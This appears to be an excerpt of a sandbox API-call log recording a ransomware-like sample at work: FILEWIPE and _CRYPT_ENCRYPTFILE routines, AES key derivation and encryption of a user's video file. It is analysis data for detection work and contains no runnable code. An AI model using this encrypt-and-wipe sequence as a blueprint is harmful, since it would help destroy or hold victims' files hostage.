PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.904] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.904] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.904] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.905] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.905] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.905] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.905] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.905] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.905] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.905] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.906] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.906] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.906] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.906] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.906] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.906] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.906] CloseHandle (hObject=0x1fc) returned 1 [0029.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.907] CloseHandle (hObject=0x188) returned 1 [0029.908] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.910] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.910] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.910] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\8T9iD8FQoDuMaX.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\oy5jzvohderz\\8t9id8fqodumax.mp4")) returned 0x20 [0029.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.910] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\8T9iD8FQoDuMaX.mp4", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a190 [0029.910] FindClose (in: hFindFile=0xe8f406a190 | out: hFindFile=0xe8f406a190) returned 1 [0029.910] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.910] CharLowerBuffW (in: lpsz="byte[35851]", cchLength=0xb | out: lpsz="byte[35851]") returned 0xb [0029.911] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.911] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.911] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.912] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.912] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40647a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.912] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.912] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.912] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.912] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.912] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.913] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.913] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.913] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.913] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.913] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.914] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12207) returned 1 [0029.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.914] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.915] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2faf, lpOverlapped=0x0) returned 1 [0029.915] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.915] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2faf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.915] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12207) returned 1 [0029.915] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.915] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.915] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.915] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.915] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.915] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.915] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.915] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.915] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.916] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.916] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.916] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.916] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.916] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.917] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b0f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.917] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.917] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.917] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.917] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.917] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.918] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.918] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4e84, lpOverlapped=0x0) returned 1 [0029.919] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.921] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.921] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.921] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.921] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.921] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.921] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064a70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.921] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.921] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.921] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.921] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.921] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4e84, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4e90) returned 1 [0029.921] CharLowerBuffW (in: lpsz="byte[20113]", cchLength=0xb | out: lpsz="byte[20113]") returned 0xb [0029.922] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.922] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4383d50*, pdwDataLen=0xe8f3dfdf68*=0x4e84, dwBufLen=0x4e90 | out: pbData=0xe8f4383d50*, pdwDataLen=0xe8f3dfdf68*=0x4e90) returned 1 [0029.922] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.924] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.924] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.924] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.924] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.924] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.924] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.924] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.924] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0029.925] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.925] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.925] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.925] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.925] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.925] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.925] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.925] CloseHandle (hObject=0x188) returned 1 [0029.926] 